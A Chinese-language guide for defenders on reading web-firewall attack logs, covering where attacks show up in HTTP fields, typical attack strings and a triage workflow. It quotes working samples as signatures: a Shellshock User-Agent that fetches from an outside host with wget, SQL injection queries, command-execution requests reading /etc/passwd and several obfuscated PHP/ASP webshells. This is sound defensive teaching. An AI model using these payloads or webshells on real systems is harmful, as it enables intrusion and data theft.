1、分析日志的目的
误报:不是攻击而上报成攻击
漏报:是攻击而没有防御的情况
日志分析可以判断是否误判或者漏判,可以溯源攻击行为
在护网作为防守方必备的技能(分析NGAF和态势感知,发现异常)
2、攻击出现的位置
Get、post 请求报文的url字段
•Get 、post请求 URL参数涉及到的攻击
•xss攻击
•SQL注入
•命令执行
•文件包含
•目录穿越
•webshell
•信息泄露
•网站扫描
cookie字段、referer字段、post表单字段和url请求类似
Get 、post请求报文的cookie字段
Get、post请求报文的referer字段
Post请求报文的表单字段
user-agent部分
•恶意爬虫:Python-urllib/2.6、Baidu-YunGuanCe-ScanBot(ce.baidu.com)
•扫描器:morfeus fucking scanner、 Accept:acunetix/wvs
•sql注入漏洞:sqlmap/1.0.8.15#dev (http://sqlmap.org)
•xss攻击:'%22()%26%25<ScRiPt%20>prompt(961668)</ScRiPt>
•其它非常特殊攻击 :User-Agent: () { :; }; /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget
-q -c http://lliillii.altervista.org/io.php 0<&1 2>&1
Get 、post请求报文的user-agent字段
Http应答页面
http报文负载
•webshell (请求和应答方向都可能)
•信息泄露(应答方向)
3、攻击常见的语句
sql注入命令
探测语句
•http://www.19cn.com/showdetail.asp?id=49 and 1=1
•http://www.19cn.com/showdetail.asp?id=49 or 1=1
•and char(124)%2Buser%2Bchar(124)=0 (注入类型判断)
权限判断
•and user>0 用户名
•and 1=(select IS_SRVROLEMEMBER('sysadmin')) 权限
•and exists (select * from sysobjects) 数据库类型判断sqlserver
查询数据
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 查库名
and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 查表名
and (select count(字段名) from 表名)>0 猜字段
and (select top 1 len(username) from admin)=X 猜字段值
http://localhost/mytest/sqlinject/id=1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user
union select 猜解法
and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
命令执行
GET /simple/tests/tmssql.php?do=phpinfo
GET /detail.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/tmp/config/usr.ini
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/etc/passwd
webshell
•<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
•<%eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("123"))%>
•<%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-lr+k-e+k-q+k-u+k-e+k-s+k-
t("c")%>(UTF-7编码格式的一句话木马)
•<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-
*/{"P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/]);?>
•<%eval request("sb")%>
•<%execute request("sb")%>
•<?php eval($_POST[sb]);?>
•<?php @eval($_POST[sb]);?>
•<?$_POST['sa']($_POST['sb']);?>
信息泄露
配置文件访问
•httpd.conf
•htaccess
•HTPASSWD
•boot.ini
•etc/passwd
•Php.ini
•Web.xml
网站扫描
恶意爬虫
•浏览器的user-agent字段一般都比较固定如:
•User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;Trident/5.0) ——IE 9.0
•不是浏览器的user-agent ,很可能就是爬虫
扫描软件: user-agent字段或者单独标示自己的软件
•综合扫描器: wvs、 appscan
专用扫描器: sql注入
4、攻击常见的特点
攻击特点:
•攻击一般都有一定的连续性,所以一段时间会产生多条日志,并且命中特
征id是有一定分布的,不能是只命中某个特征。
•攻击一般都会借助工具进行,同一个IP地址日志间隔较小 ,可能一秒中产
生几条日志,明显不是人操作浏览器的行为。
•攻击者可能会借助一定跳板,如果IP地址是国外的,攻击嫌疑较大。
5、攻击日志分析流程
基于攻击IP地址方法分析(适用日志较多的情况)
•找出一个明显的攻击行为的日志
•根据该日志找出攻击源IP地址
•筛选出针对该IP地址的日志,这种情况下基本都是攻击,没有误报
•针对该IP地址,利用前面介绍的知识,就可以看出攻击者都发起了哪些攻
击
基于攻击方法分析(适用每类不太多的攻击)
看攻击语句,是否是明显攻击行为
如果能看出是明显的行为,就可以确定是攻击
如果不确定,还需要结合其他参数,
源IP地址 :是否出现过其他类型可以明确的攻击行为
攻击时间:如果半夜或者凌晨活动比较频繁 ,可以怀疑为攻击。
日志频率 :一秒中出现几次日志,可以怀疑为攻击。
攻击位置:国外的ip地址 ,可以怀疑为攻击
报文语义分析:比如访问admin文件夹 ,可能是有攻击行为
上述几个参数可以组合分析,进一步确定攻击
前面说的用户网站存在一定安全隐患是这种情况的一种
还有一种情况 ,用户的应用比较特殊,理论上所有规则都能误报
•用户是一个论坛类应用,可以提交任意东西,包括文章类
•用户是一个代码提交讨论网站,经常通过post表单提交代码
•这类应用主要体现在学校应用中较多